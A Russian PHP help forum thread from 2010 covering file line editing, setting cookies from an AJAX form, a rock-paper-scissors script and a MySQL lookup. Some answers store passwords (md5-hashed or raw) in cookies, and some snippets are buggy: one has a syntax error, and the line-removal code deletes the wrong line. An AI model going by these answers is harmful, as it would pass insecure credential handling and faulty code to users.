M0hze, спасибо. Буду пробовать.
general.fox
30.03.2010, 14:25
Еще вопрос.
Имеется файл из 10-ти строк. Задача добвить еще одну сроку в конец файла, при этом удалив первую.
Перевести в mktime, отнять что нужно, и опять перевести в date?)
Не выйдет, т.к. при переводе в date ты получишь не кол-во дней, а дату, не относящуюся к делу.
Еще вопрос.
Имеется файл из 10-ти строк. Задача добвить еще одну сроку в конец файла, при этом удалив первую.
<?php
$fname="test.txt"; // файл
$write="ololo";/// что писать
$fdstr=1; // Строку которую удалить
$ftext=file($fname);
$fnew=array();
for($i=0;$i<count($ftext);$i++)
{if($i!=$fdstr) {$fnew[]=$ftext[$i];}
else {}}
$fdes=fopen($fname,"w");
for($i=0;$i<count($fnew);$i++)
{fputs($fdes,$fnew[$i]);}
fclose($fdes);
file_put_contents('test.txt',"\r\n$write", FILE_APPEND);
?>
general.fox
30.03.2010, 14:53
Comptom, спасибо.
Omegа, а как мне тогда записать в куки данные из поста ?
хм... в другом скрипте у меня работает, но там без аякса.
$user = $_POST['user'];
$password = $_POST['password'];
setcookie('pwd', md5($password));
setcookie('nick', $user);
Выход один - вначале работать с куками, потом уже выводить текст. Кусок кода, который ты дал, правильный, т.к. там информация не выводится. Я не думаю, что проблема в аяксе. Просто ставить куки надо в самом начале кода, например:
<?php
if($_POST['user']!=null && $_POST['password']!=null) {
$user = $_POST['user'];
$password = $_POST['password'];
setcookie('pwd', md5($password));
setcookie('nick', $user);
}
..........
?>
в файле к которому данные передаются аяксом ничего раньше установки куков не выводится, только после..
пример:
обработчик.php
<?php
if($_SERVER['HTTP_X_REQUESTED_WITH'] == 'XMLHttpRequest') {
$pwd =$_POST['pwd'];
setcookie('pwd', $pwd);
$name = $_POST['name'];
setcookie('name', $name);
echo 'ok';
}else{
echo 'пнх';
}
?>
index.php
<script type="text/javascript" src="http://sa-mp.ws/js/jquery.js"></script>
<script type="text/javascript" src="http://sa-mp.ws/js/jquery.form.js"></script>
<script type="text/javascript">
$(document).ready(function(){
var options = {
target: "#output",
beforeSubmit: showRequest,
timeout: 3000
};
$('#form').submit(function() {
$(this).ajaxSubmit(options);
return false;
});
});
function showRequest(formData, jqForm, options) {
var queryString = $.param(formData);
return true;
}
</script>
</head>
<body>
<div id="output"></div>
<form id="form" action="обработчик.php" method="post">
<input name="name" type="text" value="name"><br>
<input name="pwd" type="text" value="pwd"><br>
<input type="submit" name="submit" value="submit">
</form>
</body>
</html>
в файле к которому данные передаются аяксом ничего раньше установки куков не выводится, только после..
пример:
обработчик.php
<?php
if($_SERVER['HTTP_X_REQUESTED_WITH'] == 'XMLHttpRequest') {
$pwd =$_POST['pwd'];
setcookie('pwd', $pwd);
$name = $_POST['name'];
setcookie('name', $name);
echo 'ok';
}else{
echo 'пнх';
}
?>
index.php
<script type="text/javascript" src="http://sa-mp.ws/js/jquery.js"></script>
<script type="text/javascript" src="http://sa-mp.ws/js/jquery.form.js"></script>
<script type="text/javascript">
$(document).ready(function(){
var options = {
target: "#output",
beforeSubmit: showRequest,
timeout: 3000
};
$('#form').submit(function() {
$(this).ajaxSubmit(options);
return false;
});
});
function showRequest(formData, jqForm, options) {
var queryString = $.param(formData);
return true;
}
</script>
</head>
<body>
<div id="output"></div>
<form id="form" action="обработчик.php" method="post">
<input name="name" type="text" value="name"><br>
<input name="pwd" type="text" value="pwd"><br>
<input type="submit" name="submit" value="submit">
</form>
</body>
</html>
Возможно нужно сохранить без BOM?
Alexander89
31.03.2010, 01:21
session_start();
$_SESSION['nick'] = $nick;
Я куки вообще не когда не юзаю!
DeMoN_2009
31.03.2010, 14:40
камень ножницы бумага на php есть у кого? оч нужно)
<?php
$w = rand(0,3);
if($w == 0) echo 'Камень';
else if($w == 1) echo 'Ножницы';
else if($2 == 2) echo 'Бумага';
?>
Pashkela
31.03.2010, 17:30
<?php
$w = array('Камень','Ножницы','Бумаг ');echo $w[array_rand($w)];
?>
)
Добрый вечер :)
Есть такая таблица
CREATE TABLE `transitions` (
`id` int(10) unsigned NOT NULL auto_increment,
`idsite` int(11) NOT NULL default '',
`url` varchar(100) NOT NULL default '',
`out` int(5) unsigned default '0',
`all_out` int(8) unsigned default '0',
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;
как определить существует ли у idsite = 2 в колонке url например запись google.ru? :rolleyes:
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot